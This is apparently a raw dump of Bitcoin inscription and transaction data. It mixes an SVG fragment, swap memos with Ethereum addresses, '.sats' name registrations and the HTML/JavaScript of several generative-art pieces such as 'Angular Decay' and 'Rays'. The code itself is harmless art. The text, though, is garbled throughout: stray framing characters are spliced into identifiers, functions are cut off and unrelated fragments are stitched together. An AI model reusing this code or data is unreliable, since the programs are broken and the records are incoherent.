90h-90c0-33.3-18.1-62.4-45-77.9-13.2-7.7-28.6-12.1-45-12.1h-180v180h225c15.4 0 30.5 1.5 45 4.5 18 3.7 35.1 9.5 51.3 17.1 13.8 6.5 26.7 14.3 38.8 23.3LV 17 12.9 32.2 28 45.1 45.1 28 37.5 44.8 84.3 44.8 134.9z" fill="#fecb00"/> </g> </svg>h! 000448e703006889369d52c74889a593H0E QjLN=:ETH.ETH:0x6d21A5cC71ab0Db8600113800A7C34482f927207::t:15:f2:ec7:221698459400 text/plain;charset=utf-8 "name": "0xx.sats" Bj@=:ETH.ETH:0xb18fe18b6bea40db0440a833855bd09570e7a45c:1428597:t:0= FjDOUT:4327F503877218D54E0C60EA2A8F95E4E417C2D614B0C098B35FB09B81B92270 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"blood.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"bloody.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"lmfao.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"blazing.sats"}h! Created with GIMPd.e QjLN=:ETH.ETH:0x6d21A5cC71ab0Db8600113800A7C34482f927207::t:15:f2:ec7:110687294000 QjLN=:ETH.ETH:0x6d21A5cC71ab0Db8600113800A7C34482f927207::t:15:f2:ec7:817970708900 FjDOUT:E928411B56B2D99E37216CA9460A295B570BFE66615E3DC90FCD46262E014194 FjDOUT:938C8693FDF9D2CA27D3189B8CE8F30A2132E8FFD0FE9690F3A189FD0F429F2F text/plain;charset=utf-8 Ordinals War 2023!h! FjDOUT:AF73AD2571B5DA5CE54DA1BECDEEF9B96F98448EF1B7BE8E436D19DAC0BBF888 FjDOUT:74852666B5BD68618D10755526D5DB8A957F3BE6326C87B8DA88E805F2CFF5F8 FjDOUT:7E3B35D27BD63779DA692121BF529103264372CB1AE4825F86D15863C0080042 FjDOUT:7B0F5A49A473FD24F367342985A70DA43E6A205608CFF8506AE58AFD6E123885 DjBs:ETH.ETH:0xB59BeFE8954D22D976dF30070EAd1cD50163d0ba:17581654:ss:0 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/plain;charset=utf-8 FjDOUT:51E8DDFD3DCD10A71EB7F15411614CE3F8AAEAEDA7D5373ADD9DA1180C8A7ACF text/plain;charset=utf-8 Ordinals Wallet #1h! 6j4ion:2.QmSuLjbwCP1fAhng7r6wbFc52D4jk9qzNT1yFVNo6MDo9J` Aj?=:ETH.ETH:0x70a1d14c5e41b24DE2f3931a394Da4d1907C4FEf:5156660::0 FjDOUT:97782A34305EC73BABB321BE3F4EE3019AA50C17B6FCAD45FFF5B1E883736385 FjDOUT:C720AC6C28203079EAA876F74EEE72711DD0F2C4420FAFAC5AC88F4D5CF740A6 FjDOUT:F04F75628F452A34839D961A10122DF289C83EE6E9C82302B286F9AE0F5D69FC FjDOUT:5BFB1D487A486A4A1BF184BD15F8E3ED91E6B55E4D3AB14BD5861BA440E97C79 FjDOUT:55095F1494EE62360DF4F2189A4E2BC8BEC67B74F1328CC47B32E718DF723BB3 FjDOUT:9F55D2F1F5BA9AA3401C403380EF7CD56F4E0941DAC7D796CB14F013EC5ECA82 FjDOUT:6DD9C3E03B5FF1C4B1976CDC0F032546B59DF9B0A0478B5E3DDAA25CD2F01C2D text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":" text/html;charset=utf-8 <meta charset="UTF-8"> <title>GENERATIVE BTC LOGO</title> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script id="snippet-contract-code" type="text/javascript"> const tokenIdRand = (Math.floor(Math.random() * 1000000) + 1) * 1000000 + (Math.floor(Math.random() * 100) + 1); let tokenData = { "tokenId": tokenIdRand, "seed": tokenIdRand.toString(), <script id="snippet-random-code" type="text/javascript"> const urlSeed = new URLSearchParams(window.location.search).get('seed'); if (urlSeed && urlSeed.length > 0) { tokenData.seed = urlSeed; const seed = tokenData.seed function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.iM mul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); position: fixed; right: 0; bottom: 0; left: 0; color: rgb(255, 255, 255); background-color: rgb(0, 0, 0); display: flex; justify-content: center; align-items: center; margin: 0; padding: 0; font-size: 0.8em; /* overflow: hidden; */ object-fit: contain; max-height: 100%; max-width: 100%; #fullScreen { display: flex; position: fixed; right: 0; bottom: 0; left: 0; justify-content: center; align-items: center; #fullScreen canvas { object-fit: contain; max-height: 100%; max-width: 100%; color: rgb(249, 249, 249); opacity: 0.75; background-color: rgb(23, 23, 23); border-radius: 10px; padding-top: 0%; width: auto; height: auto; position: fixed; text-align: center; justify-content: center; align-items: center; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); #progress h2 { display: block; font-size: 0.9rem; color: rgb(239, 239, 239); margin: 5% font-size: 0.75rem; display: block; margin: 5% #progress hr { width: 75%; margin-bottom: 10% <div id="fullScreen"> <div id="progress"> <script type="text/javascript"> ////////////////INFO & FEATURES let title = "Generative BTC Logo"; let st; const rand = mathRand(); let cnv; let maxBrush = Math.floor(randBetween(500, 1500)) function clr(rand) { if (rand > 0.75) { return 240 } else { return 10 } window.$generativeTraits = { "BG Color": clr(rand), "Force": Math.floor(randBetween(1, 5)), "Brush Size": maxBrush, console.loM g(title + " | smldms 2023.02") console.log(window.$generativeTraits) let img; let balls = []; let maxFrame = 1500; let maxForce = 1; function preload() { img = loadImage('https://gateway.pinata.cloud/ipfs/QmQVs9Xpa5e1JDooNiTPWct2kEorxwqk92A1HkHrn8jx1V'); function setup() { randomSeed(seed); noiseSeed(seed); cnv = createCanvas(1920, 1920, WEBGL); cnv.parent(fullScreen) img.resize(width, height) background(clr(rand)); function draw() { rotateY(sin(frameCount * 0.05) / 25) translate(-width / 2, -height / 2, frameCount * 0.25) let x = mathRand() * width let y = mathRand() * height for (let i = 0; i < balls.length; i++) { balls[i].draw(); balls[i].update(); balls[i].changeColour(); } for (let i = 0; i < balls.length; i++) { if (balls[i].radius < 0) { balls.splice(i, mathRand() * 2); } } if (frameCount < maxFrame) { for (let i = 0; i < 5; i++) { balls.push(neM w Ball(x, y, color(img.get(x + mathRand() * 2, y + mathRand() * 2)))); } } else { noLoop() print('stop') // saver() // timer(2000) } class Ball { constructor(mX, mY, c) { this.location = createVector(mX, mY); this.radius = randBetween(0M this.r = red(c); this.g = green(c); this.b = blue(c); this.a = alpha(c); this.xOff = 0.0; this.yOff = 0.0; } update() { this.radius -= mathRand() * 0.00025; let force = randBetween(0.5, maxForce) this.xOff = this.xOff + randBetween(-force, force); this.nX = noise(this.location.x) * this.xOff; this.yOff = this.yOff + randBetween(-force, force); this.nY = noise(this.location.y) * this.yOff; this.location.x += this.nX; this.location.y += this.nY; } changeColour() { this.c = color(img.get(this.location.x, this.location.y)); this.r = red(this.c); this.g = green(this.c); this.b = blue(this.c); this.a = alpha(this.c); } draw() { noStroke(); fill(this.r, this.g, this.b); let brushSize = round(randBetween(1, maxBrush)); if (this.a > 10) { strokeWeight(randBetween(0.25,0.5)) if (clr(rand) == 240) { stroke(10) } else { stroke(250) } ellipse(this.location.x, this.location.y, this.radius * brushSize, this.radius * brushSize); } else { fill(this.r, this.g, this.b, 100) noStroke() rect(this.location.x, this.location.y, thisM .radius * brushSize / randBetween(2.5, 5)); } } function randBetween(a, b) { if (!b) { return mathRand() * a } return mathRand() * (b - a) + a function keyTyped() { if (keyCode === 83) { // if "s" is pressed save(title + '.png'); } function timer(t) { setTimeout(function () { location.reload(true); }, t); function saver() { save(title + '.png'); </script> text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":" text/html;charset=utf-8 <meta charset="UTF-8"> <title>"Rays" by Pawe Dudko | pdudko.com</title> <script id="snippet-random-code" type="text/javascript"> // not editable let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.lengthM ; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); margin: 0; padding: 0; overflow: hidden; <canvas id="myCanvas"></canvas> <script type="text/jaM console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M ,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M ,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M ","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M ,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M 30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M 5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height); window.$generativeTraits = { "Palette": pFeat, "Noisy": noiseFeat, "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal' console.log(window.$generativeTraits) text/html;charset=utf-8 <meta charset="UTF-8"> 